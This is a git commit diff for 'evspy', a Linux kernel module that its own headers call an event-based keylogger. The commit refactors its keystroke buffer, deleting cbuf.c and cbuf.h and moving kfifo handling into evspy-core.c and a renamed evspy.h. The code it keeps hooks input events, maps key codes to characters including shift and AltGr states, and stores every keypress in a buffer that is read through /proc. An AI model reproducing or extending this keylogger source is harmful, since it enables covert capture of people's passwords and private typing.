aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Makefile2
-rw-r--r--TODO1
-rw-r--r--cbuf.c55
-rw-r--r--cbuf.h36
-rw-r--r--evspy-core.c26
-rw-r--r--evspy.h (renamed from evspy-core.h)30
-rw-r--r--maps/map_es.h2
7 files changed, 37 insertions, 115 deletions
diff --git a/Makefile b/Makefile
index 90f40ae..573b77f 100644
--- a/Makefile
+++ b/Makefile
@@ -1,5 +1,5 @@
obj-m += evspy.o
-evspy-objs := kmap/kmap.o evspy-core.o cbuf.o
+evspy-objs := kmap/kmap.o evspy-core.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
diff --git a/TODO b/TODO
index 3346dce..9ab84ed 100644
--- a/TODO
+++ b/TODO
@@ -1,4 +1,3 @@
* Support non-ascii characters - Prio:Low
-* Take a look at kernel's circular buffer API - Prio:Low
* Which FX key has been pressed? - Prio:None
diff --git a/cbuf.c b/cbuf.c
deleted file mode 100644
index 6447ae1..0000000
--- a/cbuf.c
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * evspy - event based keylogger (Linux module)
- *
- * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
- * based on evbug module by Vojtech Pavlik ((c) 1999-2001)
- *
- * This file is part of evspy
- *
- * evspy is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * evspy is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with evspy. If not, see <http://www.gnu.org/licenses/>.
- */
-
-#include <linux/kfifo.h>
-#include "cbuf.h"
-
-DECLARE_KFIFO(cbuffer, char, CBUF_SIZE);
-
-void cbuf_init(void)
-{
- INIT_KFIFO(cbuffer);
-}
-
-int cbuf_read(char *to, int count, int *eof)
-{
- int tmp = kfifo_len(&cbuffer);
- unsigned int n = min(tmp, count); // TODO n = count?
-
- n = kfifo_out(&cbuffer, to, n);
-
- if (kfifo_is_empty(&cbuffer))
- *eof = 1;
-
- return n;
-}
-
-void cbuf_write(char c)
-{
- /*
- * The kfifo implementation doesn't allow to write in a full buffer, so if
- * we want to do it anyway, we must first delete the last element
- */
- if (kfifo_is_full(&cbuffer))
- kfifo_skip(&cbuffer);
- kfifo_put(&cbuffer, &c);
-}
diff --git a/cbuf.h b/cbuf.h
deleted file mode 100644
index a996cee..0000000
--- a/cbuf.h
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * evspy - event based keylogger (Linux module)
- *
- * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
- * based on evbug module by Vojtech Pavlik ((c) 1999-2001)
- *
- * This file is part of evspy
- *
- * evspy is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * evspy is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with evspy. If not, see <http://www.gnu.org/licenses/>.
- */
-
-#ifndef _EVS_CBUF_H
-#define _EVS_CBUF_H
-
-
-#include <asm/page.h>
-
-#define CBUF_SIZE PAGE_SIZE // size of the circular buffer (4K)
-
-void cbuf_init(void);
-int cbuf_read(char *to, int count, int *eof);
-void cbuf_write(char c);
-
-
-#endif /* _EVS_CBUF_H */
diff --git a/evspy-core.c b/evspy-core.c
index 58625a2..0ce19ba 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -20,9 +20,11 @@
* along with evspy. If not, see <http://www.gnu.org/licenses/>.
*/
-#include "evspy-core.h"
-#include "cbuf.h"
+#include "evspy.h"
+
+
+DECLARE_KFIFO(cbuffer, char, EVS_BUFSIZE);
static unsigned short int capslock_on = 0;
static unsigned short int shift_on = 0;
@@ -47,9 +49,14 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
#else
return -EPERM;
#endif
- }
+ } else {
+ n = kfifo_out(&cbuffer, page, count);
- return cbuf_read(page, count, eof);
+ if (kfifo_is_empty(&cbuffer))
+ *eof = 1;
+
+ return n;
+ }
}
/*
@@ -139,7 +146,7 @@ static void special_char(unsigned int code, unsigned int value)
sp_tag[1] = '-';
while (*sp_tag)
- cbuf_write(*sp_tag++);
+ evs_insert(&cbuffer, sp_tag++);
}
static void evspy_event(struct input_handle *handle, unsigned int type,
@@ -162,13 +169,13 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
} else if (value == EVS_VAL_PRESS) {
#ifdef EVS_ALTGR_ENABLED
if (altgr_on)
- cbuf_write(evs_altgr(code));
+ evs_insert(&cbuffer, evs_altgr(code));
else
#endif
if (shift_on || capslock_on)
- cbuf_write(evs_shift(code));
+ evs_insert(&cbuffer, evs_shift(code));
else
- cbuf_write(map[code]);
+ evs_insert(&cbuffer, &map[code]);
}
}
@@ -232,7 +239,8 @@ static int __init evspy_init(void)
#ifdef EVS_ALTGR_ENABLED
init_altgrmap();
#endif
- cbuf_init();
+ //cbuf_init();
+ INIT_KFIFO(cbuffer);
return input_register_handler(&evspy_handler);
}
diff --git a/evspy-core.h b/evspy.h
index e9727f4..a420753 100644
--- a/evspy-core.h
+++ b/evspy.h
@@ -20,9 +20,14 @@
* along with evspy. If not, see <http://www.gnu.org/licenses/>.
*/
+#ifndef _EVSPY_EVSPY_H
+#define _EVSPY_EVSPY_H
+
+
#include <linux/cred.h>
#include <linux/init.h>
#include <linux/input.h>
+#include <linux/kfifo.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
@@ -52,16 +57,14 @@
#define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
/*
- * Try to delete the last char inserted. If it is a special key ("[KEY]"),
- * insert "[<<]" instead
+ * Insert character c into the circular buffer pointed by fifop
*/
-//#define evs_backspace() \
-//({ \
-// if (*(wrp-1) != ']') \
-//
-// else \
-// special_char(KEY_BACKSPACE, EVS_VAL_PRESS); \
-//})
+#define evs_insert(fifop, c) \
+({ \
+ if (kfifo_is_full(fifop)) \
+ kfifo_skip(fifop); \
+ kfifo_put((fifop), c); \
+})
/*
* Is the c event code associated to any of the FX buttons?
@@ -90,7 +93,7 @@
else \
__c = map[c]; \
} \
- __c; \
+ &__c; \
})
/*
@@ -98,12 +101,15 @@
*/
#ifdef EVS_ALTGR_ENABLED
#define evs_altgr(c) \
- ({ \
+({ \
void *__vp; \
char __c; \
__vp = kmap_get(akm, (c)); \
if (__vp) __c = *(char *)__vp; \
else __c = map[c]; \
- __c; \
+ &__c; \
})
#endif
+
+
+#endif /* _EVSPY_EVSPY_H */
diff --git a/maps/map_es.h b/maps/map_es.h
index b20f120..67edf33 100644
--- a/maps/map_es.h
+++ b/maps/map_es.h
@@ -81,7 +81,7 @@ static inline void exit_shiftmap(void)
static char map[] = {
'.', '.', '1', '2', '3', //0 // 1:ESC
'4', '5', '6', '7', '8', //5
- '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) 14:BACKSPACE
+ '9', '0', '\'', '!', '.', //10 // 13:¡ (NOASCII) 14:BACKSPACE
'.', 'q', 'w', 'e', 'r', //15 // 15:TAB
't', 'y', 'u', 'i', 'o', //20
'p', '`', '+', '\n', '.', //25 // 29:LCTRL